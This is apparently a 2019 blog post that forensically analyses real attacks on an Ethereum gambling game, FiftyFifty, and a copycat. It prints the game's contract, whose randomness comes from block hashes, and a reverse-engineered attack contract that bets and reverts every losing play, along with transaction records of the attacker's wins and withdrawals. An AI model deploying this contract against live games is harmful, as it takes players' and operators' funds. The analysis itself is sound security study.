Can’t win the game? just revert it! part 1

Zhongqiang Chen
16 min readSep 22, 2019

--

A gambling game called FiftyFifty

A lot of games are developed nowadays as decentralized applications (Dapps) on the blockchains such as Ethereum. These game Dapps attract a large number of players and help the development of blockchain techniques. Meanwhile, these game Dapps also attract attackers because these games usually hold a certain amount of money deposited by the players.

There is a misconception that attacks on Dapps, especially games, require complex attack strategies and skills. The truth is that a simple attack strategy could be as effective as a complex one.

In this article, I will describe this simple attack strategy with some real world attack examples.

The first attack example is targeting a gambling game named FiftyFifty.

The information on the smart contract for the FiftyFifty game is as follows.

Transaction Hash: 0x91f4bf388e8abb58f5d741e60b4e291709e6dff056848287c5aff42880da9828
Status: Success
Block: 6859846 1736233 Block Confirmations
Timestamp: 285 days 16 hrs ago (Dec-10-2018 08:35:49 AM +UTC)
From: 0x9b0a1a9ae8d05f847b8f644cfcbdb0d3f4b29830
To: [Contract 0x4513ab6a3b345276bbf59df54f770a635e208b70 Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.007365488 Ether ($1.56)
Gas Limit: 1,841,372
Gas Used by Transaction: 1,841,372 (100%)
Gas Price: 0.000000004 Ether (4 Gwei)
Nonce Position 4 69
Input Data: (omitted)

The address of the smart contract for the FiftyFifty game starts with 0x4513.

The source code of the FiftyFifty game is published by the game creator and part of it is presented below.

/**
*Submitted for verification at Etherscan.io on 2018-12-26
*/
pragma solidity ^0.4.23;contract FiftyFifty{
using SafeMath for uint; // using SafeMath
//rate to 0.125 ETH. 0.125:1, 0.250:2, 0.500:4, 1.00:8, 2.00:16, 4.00:32, 8.00: 64, 16.00:128, 32.00:256, 64.00:512
uint[11] betValues = [0.125 ether, 0.250 ether, 0.500 ether, 1.00 ether, 2.00 ether, 4.00 ether, 8.00 ether, 16.00 ether, 32.00 ether, 64.00 ether];
// return value is 95 % of two people.
uint[11] returnValues = [0.2375 ether, 0.475 ether, 0.950 ether, 1.90 ether, 3.80 ether, 7.60 ether, 15.20 ether, 30.40 ether, 60.80 ether, 121.60 ether];
// jackpot value is 4 % of total value
uint[11] jackpotValues = [0.05 ether, 0.010 ether, 0.020 ether, 0.04 ether, 0.08 ether, 0.16 ether, 0.32 ether, 0.64 ether, 1.28 ether, 2.56 ether];
// fee 1 %
uint[11] fees = [0.0025 ether, 0.005 ether, 0.010 ether, 0.020 ether, 0.040 ether, 0.080 ether, 0.16 ether, 0.32 ether, 0.64 ether, 1.28 ether];
uint roundNumber; // number of round that jackpot is paid
mapping(uint => uint) jackpot;
//round -> betValue -> user address
mapping(uint => mapping(uint => address[])) roundToBetValueToUsers;
//round -> betValue -> totalBet
mapping(uint => mapping(uint => uint)) roundToBetValueToTotalBet;
//round -> totalBet
mapping(uint => uint) public roundToTotalBet;
// current user who bet for the value
mapping(uint => address) currentUser;
address owner;
uint ownerDeposit;
// Event
event Jackpot(address indexed _user, uint _value, uint indexed _round, uint _now);
event Bet(address indexed _winner,address indexed _user,uint _bet, uint _payBack, uint _now);

constructor() public {
owner = msg.sender;
roundNumber = 1;
}
modifier onlyOwner () {
require(msg.sender == owner);
_;
}
function changeOwner(address _owner) external onlyOwner{
owner = _owner;
}
// fallback function that function() public payable {
// check if msg.value is equal to specified amount of value.
uint valueNumber = checkValue(msg.value);
/**
jackpot starts when block hash % 10000 < 0
*/
uint randJackpot = (uint(blockhash(block.number - 1)) + roundNumber) % 10000;
if(jackpot[roundNumber] != 0 && randJackpot <= 1){
// Random number that is under contract total bet amount
uint randJackpotBetValue = uint(blockhash(block.number - 1)) % roundToTotalBet[roundNumber];
//betNum
uint betNum=0;
uint addBetValue = 0;
// Loop until addBetValue exceeds randJackpotBetValue
while(randJackpotBetValue > addBetValue){
// Select bet number which is equal to
addBetValue += roundToBetValueToTotalBet[roundNumber][betNum];
betNum++;
}
// betNum.sub(1)のindexに含まれているuserの数未満のランダム番号を生成する
uint randJackpotUser = uint(blockhash(block.number - 1)) % roundToBetValueToUsers[roundNumber][betNum.sub(1)].length;
address user = roundToBetValueToUsers[roundNumber][valueNumber][randJackpotUser];
uint jp = jackpot[roundNumber];
user.transfer(jp);
emit Jackpot(user, jp, roundNumber, now);
roundNumber = roundNumber.add(1);
}
if(currentUser[valueNumber] == address(0)){
//when current user does not exists
currentUser[valueNumber] = msg.sender;
emit Bet(address(0), msg.sender, betValues[valueNumber], 0, now);
}else{
// when current user exists
uint rand = uint(blockhash(block.number-1)) % 2;
ownerDeposit = ownerDeposit.add(fees[valueNumber]);
if(rand == 0){
// When the first user win
currentUser[valueNumber].transfer(returnValues[valueNumber]);
emit Bet(currentUser[valueNumber], msg.sender, betValues[valueNumber], returnValues[valueNumber], now);
}else{
// When the last user win
msg.sender.transfer(returnValues[valueNumber]);
emit Bet(msg.sender, msg.sender, betValues[valueNumber], returnValues[valueNumber], now);
}
// delete current user
delete currentUser[valueNumber];
}
// common in each contracts
jackpot[roundNumber] = jackpot[roundNumber].add(jackpotValues[valueNumber]);
roundToBetValueToUsers[roundNumber][valueNumber].push(currentUser[valueNumber]);
roundToTotalBet[roundNumber] = roundToTotalBet[roundNumber].add(betValues[valueNumber]);
roundToBetValueToTotalBet[roundNumber][valueNumber] = roundToBetValueToTotalBet[roundNumber][valueNumber].add(betValues[valueNumber]);
}
/**
@param sendValue is ETH that is sent to this contract.
@return num is index that represent value that is sent.
*/
function checkValue(uint sendValue) internal view returns(uint) {
/**
Check sendValue is match prepared values. Revert if sendValue doesn't match any values.
*/
uint num = 0;
while (sendValue != betValues[num]){
if(num == 11){
revert();
}
num++;
}
return num;
}
function roundToBetValueToUsersLength(uint _roundNum, uint _betNum) public view returns(uint){
return roundToBetValueToUsers[_roundNum][_betNum].length;
}
function withdrawDeposit() public onlyOwner{
owner.transfer(ownerDeposit);
ownerDeposit = 0;
}
function currentJackpot() public view returns(uint){
return jackpot[roundNumber];
}
}

The smart contract for the FiftyFifty game uses SafeMath library to conduct all mathematic operations on integers. To make the presentation more compact, the source code of SafeMath library is not presented here.

It is the fallback function in the smart contract that is used by a player to play the FiftyFifty game. Because there is no access control on the fallback function, thus, every one, including smart contracts, can play the game.

In the FiftyFifty game, a player can bet any value among the 11 values specified by the game, the smallest value is 0.125 Ethers while the largest value is 64 Ethers.

If a player wins the bet, the payback depends on the value the player bets. For instance, when the value the player bets is 0.125 Ethers and if the player wins, the payback will be 0.2375 Ethers. In general, the payback is 95% of the bets by two players.

If a player is the first one who bets on a value, then he will become the current user of that bet value. If the player is not the first one betting on a value, then a random number in [0, 1] will be generated by the FiftyFifty game, and if the random number is 0, the existing player will be the winner, otherwise, the current user will win.

With an extremely low probability, a player may also win the jackpot.

The random numbers used in the game are generated based on the block hash of the previous block.

As we know that there is no truly random number in blockchains and everything is deterministic and should be able to be reproduced by all miners in the blockchains. Therefore, the information about a certain block should be same to every one who observes it.

As a result, the information on the blocks used by the FiftyFifty game is readily available to an attacker (typically a smart contract) as long as the code of the attacker is executed in the same environment as that of the game.

The most effective strategy to attack a gambling game may be to predict the “random” numbers used by the game and mimic the game’s behavior. On the other hand, for a gambling game implemented as a decentralized application (Dapp) on blockchains, another simple attack strategy is: play the game, if win, then commit, otherwise, just revert it. This simple attack strategy should be effective on all Dapp games and could be profitable as long as the profits gained by winning the game can cover the transaction fees of all transactions that play but fail to win the game and revert the game.

In the first part of this article, I will introduce one tool that aims at attacking the FiftyFifty game using such a simple strategy.

A simple tool that attacks FiftyFifty game

The simple tool that is used to launch attacks on the FiftyFifty game is implemented in a smart contract. The information on the deployment of the smart contract for the attack tool is given below.

Transaction Hash: 0x373fc19528ffe6ce4d88bff0a7de378da20cfed482be4adda19284fc30880f00
Status: Success
Block: 7675592 882668 Block Confirmations
Timestamp: 137 days 14 hrs ago (May-01-2019 01:59:34 PM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: [Contract 0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8 Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.00165693 Ether ($0.32)
Gas Limit: 552,310
Gas Used by Transaction: 552,310 (100%)
Gas Price: 0.000000003 Ether (3 Gwei)
Nonce Position 143 51
Input Data: (omitted)

The address of the smart contract for the attack tool begins with 0x1e6d. The account of the creator for the attack tool starts with 0xd1e8.

The source code of the smart contract for the attack tool is not published by its creator and therefore is unavailable to the public. We resort the the rerverse engineering techniques to restore its source code, which is presented as follows.

pragma solidity ^0.5.1;/*
parameters to constructor
0000000000000000000000004513ab6a3b345276bbf59df54f770a635e208b70
it is the contract address of FiftyFifty
*/
contract contract_1e6d {
// slot 0x00
address payable owner;
// slot 0x01
address target;
// slot 0x02
// 0x01bc16d674ec8000 = 1.25e+17
uint256 betValue = 0.125 ether;
// slot 0x03
// 0x013880 = 80000
uint256 gas = 80000;

modifier onlyOwner () {
require(msg.sender == owner);
_;
}

constructor (address _addr) public {
owner = msg.sender;
target = _addr;
}

// function selector: 0x11610c25
// code entrance: 0x007a
function bet() public payable onlyOwner {
// function playGame()
// function selector: 0xbc594899
address(this).call(
abi.encodeWithSelector(0xbc594899));
}

// function selector: 0x3ccfd60b
// code entrance: 0x0084
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}

// function selector: 0x3d4197f0
// code entrance: 0x009b
function setVal(uint256 _val) public onlyOwner {
betValue = _val;
}

// function selector: 0x427ad402
// code entrance: 0x00c8
function setTarget(address _addr) public onlyOwner {
target = _addr;
}

// function selector: 0xbc594899
// code entrance: 0x010b
function playGame() public {
require (msg.sender == address(this));
uint256 oldBalance = address(this).balance; target.call.gas(gas).value(betValue)(""); require (address(this).balance > oldBalance);
}

// function selector: 0xdd51faa2
// code entrance: 0x0122
function setGas(uint256 _val) public onlyOwner {
gas = _val;
}
}

When the smart contract for the attack tool is deployed, its constructor will be first executed. Parameters can be passed to the constructor. In this case, the address of the smart contract for the target game is just a parameter that is passed to the constructor.

When this smart contract was deployed, the address of the smart contract for the target game pointed to the FiftyFifty game, which starts with 0x4513.

In addition, the smart contract for the attack tool further provides a function, which has selector 0x427ad402 and is named setTarget() in the recovered source code, to set the address of the target to specified one that may be susceptible to the same vulnerabilities.

It turns out that the creator of the attack tool indeed found such victims and used the same attack tool to exploit FiftyFifty and the like games.

The main entry point of the attack tool is the function bet(), which simply calls another function named playGame() in the same smart contract.

It is the function playGame() that implements the simple attack strategy: it just plays the game and then checks the changes of its own balance. If the change is negative, then just reverts the transaction to make the game played have no effect. Otherwise, continue and complete the transaction.

It can be seen that the function playGame() plays the game by calling the fallback function of the FiftyFifty contract.

The smart contract has an API to set the value to bet when playing the game.

It is interesting that the smart contract provides API to set the gas limit on the call to the fallback function of the FiftyFifty game.

Attacks on FiftyFifty game

After the deployment of the smart contract for the attack, what the attacker should do is simply call the function bet() in the smart contract to try his luck.

Here is the first attack launched by the attacker.

Transaction Hash: 0x93ffd1cad8512b2715966e45164e99ea3a14ebcf8db7c0e406c842e9fa1b78d7
Status: Success
Block: 7675607 882654 Block Confirmations
Timestamp: 137 days 14 hrs ago (May-01-2019 02:01:52 PM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8
Although one or more Error Occurred [Reverted] Contract Execution CompletedValue: 0.125 Ether ($24.34)
Transaction Fee: 0.0002654592 Ether ($0.05)
Gas Limit: 100,000
Gas Used by Transaction: 85,632 (85.63%)
Gas Price: 0.0000000031 Ether (3.1 Gwei)
Nonce Position 144 138
Input Data:
Function: bet() ***
MethodID: 0x11610c25

From the information on this transaction, we can see that the transaction carried 0.125 Ethers and its triggered the function bet() of the smart contract, however, it was reverted. Therefore, the only loss for the attacker is the transaction fee, 0.0002654592 Ethers.

In order to find out the reason why the transaction was reverted, let us look at the internal transactions generated by the transaction.

The contract call From 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b To 0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8 produced 2 contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcall_0_0       0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8               0x4513ab6a3b345276bbf59df54f770a635e208b70     0.125 Ether     66,200call_0_0_0   0x4513ab6a3b345276bbf59df54f770a635e208b70               0xbd4332c97f29a17b233f365e83a4d04d35c04c32     0.2375 Ether    2,300

Both internal transactions are marked as “fail”. The first internal transaction call_0_0 is created by the call to the fallback function of the FiftyFifty game, while the call_0_0_0 is created by the function transfer() called by the FiftyFifty game.

From internal transaction call_0_0_0, we know that the recipient of the money transfer by the FiftyFifty game is the account starting with 0xbd43, which is obviously not the attack contract (which is 0x1e6d). So, we can infer that the random number generated by the game is 0, and the winner of the game is the existing user in the game. Therefore, the attack contract decided to revert the transaction.

We can further check the state changes of the accounts involving in the attack to ensure that the reverted game has no effect on the attacker and the attacker loses no money. In other words, a game that is reverted is equivalent to that the game is not played at all.

A set of information that represents the current state is updated when a transaction takes place on the network. The below is a summary of those changes :Address         Before  After   State Difference0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8              0 Eth   0.125 Eth        0.1250x52bc44d5378309ee2abf1539bf71de1b7d7be3b5 Miner (Nanopool)
7,241.72198023882348835 Eth 7,241.72224569802348835 Eth 0.0002654592
0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
0.630295803573629131 Eth Nonce: 144
0.505030344373629131 Eth Nonce: 145
0.1252654592

Before the attack, there is no money in the attack contract (i.e., 0x1e6d), and after the attack, its balance becomes 0.125 Ethers, which is exactly the amount that was carried by the transaction that launched the attack.

On the other hand, the balance of the attacker, which is 0xd1e8, decreased by 0.125 ethers, in addition to the transaction fee.

Obviously, the smart contract for the FiftyFifty game did not appear in the list of addresses with changed states, essentially implying that the game was not played by the attacker at all.

After several failed and reverted games, the attacker finally had his good luck and won the game. Here is the transaction that led to the win.

Transaction Hash:
0x064bac447e88d2632e15abc382bca6ae2f0b4a2fea4f72f52d076d1a8a3a5cf8
Status: Success
Block: 7675653 882959 Block Confirmations
Timestamp: 137 days 15 hrs ago (May-01-2019 02:09:55 PM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8
TRANSFER 0.125 Ether From 0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8 To 0x4513ab6a3b345276bbf59df54f770a635e208b70Value: 0 Ether ($0.00)
Transaction Fee: 0.0002171178 Ether ($0.04)
Gas Limit: 100,000
Gas Used by Transaction: 70,038 (70.04%)
Gas Price: 0.0000000031 Ether (3.1 Gwei)
Nonce Position 149 79
Input Data:
Function: bet() ***
MethodID: 0x11610c25

Compared to the previous transaction that was reverted, this transaction had almost the same parameters except that it did not carry any Ethers. Thus, the bet money for the game play was directly from the balance of the attack contract.

From the internal transactions, which is shown below, we can see that the attack contract (i.e., 0x1e6d) became the winner of the game and was the recipient of the money transfer by the FiftyFifty game.

The contract call From 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b To 0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8 produced 2 contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcall_0_0       0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8               0x4513ab6a3b345276bbf59df54f770a635e208b70     0.125 Ether     66,200call_0_0_0   0x4513ab6a3b345276bbf59df54f770a635e208b70              0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8      0.2375 Ether    2,300

From the source code of the FiftyFifty game, we know that when prize was sent to the recipient, the game contract will emit an event called Bet() to provide information about the winner and the amount of the prize.

Here is the event generated by the FiftyFifty game.

Transaction Receipt Event LogsAddress 0x4513ab6a3b345276bbf59df54f770a635e208b70
Name Bet (index_topic_1 address _winner, index_topic_2 address _user, uint256 _bet, uint256 _payBack, uint256 _now)
Topics
0 0x79332159d97b6c85dc0cb60c8b8c436f780180e3ed9181e69898fff5a9935b60
1 0x0000000000000000000000001e6dbfae0a38abf4795c34540a347b8ecbecc3d8
2 0x0000000000000000000000001e6dbfae0a38abf4795c34540a347b8ecbecc3d8
Data
00000000000000000000000000000000000000000000000001bc16d674ec8000
000000000000000000000000000000000000000000000000034bc4fdde27c000
000000000000000000000000000000000000000000000000000000005cc9a8b3

In the parameters to the event Bet(), the first two parameters are indexed and therefore they appear as the second and third items in the Section “Topics” (the first item is the keccak256 hash of the event signature). The remaining parameters appear in the Section “Data”.

From the “Topics” Section, we can notice that both the winner and the user of the game are the attack contract (i.e., 0x1e6d).

From the “Data” Section, we can see that the bet value is 0.125 Ethers while the payback is 0.2375 Ethers.

The state changes of the accounts involving in the transaction are:

A set of information that represents the current state is updated when a transaction takes place on the network. The below is a summary of those changes :Address         Before  After   State Difference0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8              0.125 Eth       0.2375 Eth       0.11250x4513ab6a3b345276bbf59df54f770a635e208b70              0.175 Eth       0.0625 Eth       0.11250x5a0b54d5dc17e0aadc383d2db43b0a0d3e029c4c Miner (Spark Pool)
2,965.267808670509744377 Eth 2,965.268025788309744377 Eth 0.0002171178
0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
0.503968507573629131 Eth Nonce: 149
0.503751389773629131 Eth Nonce: 150
0.0002171178

It can be seen that the fund in the attack contract (0x1e6d) was 0.125 Ethers before the transaction, and it became 0.2375 Ethers after the attack. The increase is 0.1125 Ethers.

In comparison, the balance of the FiftyFifty game (0x4513) decreased from 0.175 Ethers to 0.0625 Ethers, the decrease in FiftyFifty game is exactly the increase in the attack contract.

The transaction fee was paid by the attack launcher (0xd1e8).

After the attack, the attacker decided to extract all money in the attack contract and transferred it to his own account. This is done by calling the function withdraw() of the attack contract.

Transaction Hash: 0xe242cd5b47bf638b03d7a6672d5686962ee0e704d41bd5059b9c50088a049ee8
Status: Success
Block: 7675660 883220 Block Confirmations
Timestamp: 137 days 16 hrs ago (May-01-2019 02:11:44 PM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8
TRANSFER 0.2375 Ether From 0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8 To 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67bValue: 0 Ether ($0.00)
Transaction Fee: 0.0000925288 Ether ($0.02)
Gas Limit: 32,103
Gas Used by Transaction: 29,848 (92.98%)
Gas Price: 0.0000000031 Ether (3.1 Gwei)
Nonce Position 150 156
Input Data:
Function: withdraw() ***
MethodID: 0x3ccfd60b

In this transaction, 0.2375 Ethers was transferred from the attack contract to the attacker’s account.

The state changes of accounts involving in the transaction are displayed below.

A set of information that represents the current state is updated when a transaction takes place on the network. The below is a summary of those changes :Address         Before  After   State Difference0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8              0.2375 Eth      0 Eth    0.23750xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
0.503751389773629131 Eth Nonce: 150
0.741158860973629131 Eth Nonce: 151
0.2374074712
0xea674fdde714fd979de3edf0f56aa9716b898ec8 Miner (Ethermine)
505.678809283570836359 Eth 505.678901812370836359 Eth 0.0000925288

It can be observed that among the 0.2375 Ethers transferred from attack contract to the attacker, 0.0000925288 Ethers are paid to the miner as the transaction fee.

Attacks on another FiftyFifty like game

The creator of the attack tool not only used the tool to attack FiftyFifty game, he also pointed his tool to other FiftyFifty like games, which may be the copycats of the former.

Here is just one of such copycats.

Transaction Hash: 0x763dd8098eaea001076006e5bb9f20911f7e7369e87e2c9994a0edd6965ccb2c
Status: Success
Block: 7534373 1061383 Block Confirmations
Timestamp: 165 days 10 hrs ago (Apr-09-2019 02:03:23 PM +UTC)
From: 0xbd4332c97f29a17b233f365e83a4d04d35c04c32
To: [Contract 0x4676e1a167381153d6dd4d6060a41586d6f1345d Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.016571232 Ether ($3.57)
Gas Limit: 1,841,248
Gas Used by Transaction: 1,841,248 (100%)
Gas Price: 0.000000009 Ether (9 Gwei)
Nonce Position 57 86
Input Data: (omitted)

The copycat was deployed on address starting with 0x4676 and its deployer is 0xbd43.

Although the source code of this game is unavailable, the fact that the attack tool for FiftyFifty can also successfully exploit it did indicate that this game shares not only the same set of functions but also the same set of vulnerabilities with the FiftyFifty game.

In order to attack this game, the attacker first called the function setTarget() of the attack contract to set the target of the attack to the address of this game.

Transaction Hash: 0xd33afec87e9f434f6bc3251ab9b3391235d1ba2fadf7e8f3d98e577ab6b0f7fa
Status: Success
Block: 7675731 882786 Block Confirmations
Timestamp: 137 days 14 hrs ago (May-01-2019 02:25:18 PM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8
Value: 0 Ether ($0.00)
Transaction Fee: 0.0000883066 Ether ($0.02)
Gas Limit: 28,486
Gas Used by Transaction: 28,486 (100%)
Gas Price: 0.0000000031 Ether (3.1 Gwei)
Nonce Position 151 48
Input Data:
0x427ad402
0000000000000000000000004676e1a167381153d6dd4d6060a41586d6f1345d

It can be seen that the parameter to the function with selector 0x427ad402 is exactly the address of the smart contract for the new target game (i.e., 0x4676).

Then, an attack on this new target was launched and the transaction for the attack is shown below.

Transaction Hash: 0xb68a1f25440b26a10c5892b226758a651342487766ced445ddd92baefc6d56a6
Status: Success
Block: 7675740 882782 Block Confirmations
Timestamp: 137 days 14 hrs ago (May-01-2019 02:29:12 PM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8
TRANSFER 0.125 Ether From 0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8 To 0x4676e1a167381153d6dd4d6060a41586d6f1345dValue: 0 Ether ($0.00)
Transaction Fee: 0.0002171178 Ether ($0.04)
Gas Limit: 100,000
Gas Used by Transaction: 70,038 (70.04%)
Gas Price: 0.0000000031 Ether (3.1 Gwei)
Nonce Position 153 149
Input Data:
Function: bet() ***
MethodID: 0x11610c25

From the information on the transaction, we know that this is a successful attack as it was not reverted.

From the internal transactions generated by the transaction, we can find out the payout by the game:

The contract call From 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b To 0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8 produced 2 contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcall_0_0       0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8               0x4676e1a167381153d6dd4d6060a41586d6f1345d     0.125 Ether     66,200call_0_0_0   0x4676e1a167381153d6dd4d6060a41586d6f1345d              0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8      0.225 Ether     2,300

Clearly, the payback by the game is 0.225 Ether. From internal transaction call_0_0_0, we can infer that the copycat game indeed changes the payout rate of the game.

The payout can be further confirmed by the event emitted by the transaction.

Transaction Receipt Event LogsAddress 0x4676e1a167381153d6dd4d6060a41586d6f1345d
Topics
0 0x79332159d97b6c85dc0cb60c8b8c436f780180e3ed9181e69898fff5a9935b60
1 0x0000000000000000000000001e6dbfae0a38abf4795c34540a347b8ecbecc3d8
2 0x0000000000000000000000001e6dbfae0a38abf4795c34540a347b8ecbecc3d8
Data
00000000000000000000000000000000000000000000000001bc16d674ec8000
000000000000000000000000000000000000000000000000031f5c4ed2768000
000000000000000000000000000000000000000000000000000000005cc9ad38

The state changes of accounts involving in the transaction are as follows.

A set of information that represents the current state is updated when a transaction takes place on the network. The below is a summary of those changes :Address         Before  After   State Difference0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8              0.125 Eth       0.225 Eth        0.10x4676e1a167381153d6dd4d6060a41586d6f1345d              0.225 Eth       0.125 Eth        0.10x5a0b54d5dc17e0aadc383d2db43b0a0d3e029c4c Miner (Spark Pool)
2,999.235274987163363275 Eth 2,999.235492104963363275 Eth 0.0002171178
0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
0.615805095173629131 Eth Nonce: 153
0.615587977373629131 Eth Nonce: 154
0.0002171178

Obviously, the net gain by this attack is 0.1 Ethers.

Finally, the attacker retrieved the prizes from the attack contract to his own account.

Transaction Hash: 0x7e4d31e4f12f6d84ca7b0c788eca98eedf3bda4ba0d4e0add2127f903120d3f5
Status: Success
Block: 7675748 882697 Block Confirmations
Timestamp: 137 days 14 hrs ago (May-01-2019 02:31:16 PM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8
TRANSFER 0.225 Ether From 0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8 To 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67bValue: 0 Ether ($0.00)
Transaction Fee: 0.0000925288 Ether ($0.02)
Gas Limit: 32,103
Gas Used by Transaction: 29,848 (92.98%)
Gas Price: 0.0000000031 Ether (3.1 Gwei)
Nonce Position 154 88
Input Data:
Function: withdraw() ***
MethodID: 0x3ccfd60b

The above information on the transaction indicated that 0.225 Ethers were sent to the attacker’s account.

Much more information about this transaction can be obtained in the state changes of accounts related to the transaction.

A set of information that represents the current state is updated when a transaction takes place on the network. The below is a summary of those changes :Address         Before  After   State Difference0x1e6dbfae0a38abf4795c34540a347b8ecbecc3d8              0.225 Eth       0 Eth    0.2250xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
0.615587977373629131 Eth Nonce: 154
0.840495448573629131 Eth Nonce: 155
0.2249074712
0xea674fdde714fd979de3edf0f56aa9716b898ec8 Miner (Ethermine)
502.377192316372633034 Eth 502.377284845172633034 Eth 0.0000925288

It can be seen that 0.225 Ethers were transferred from the attack contract to the attacker’s account, among which 0.0000925288 Ethers are paid to the miner as the transaction fee.

References

--

--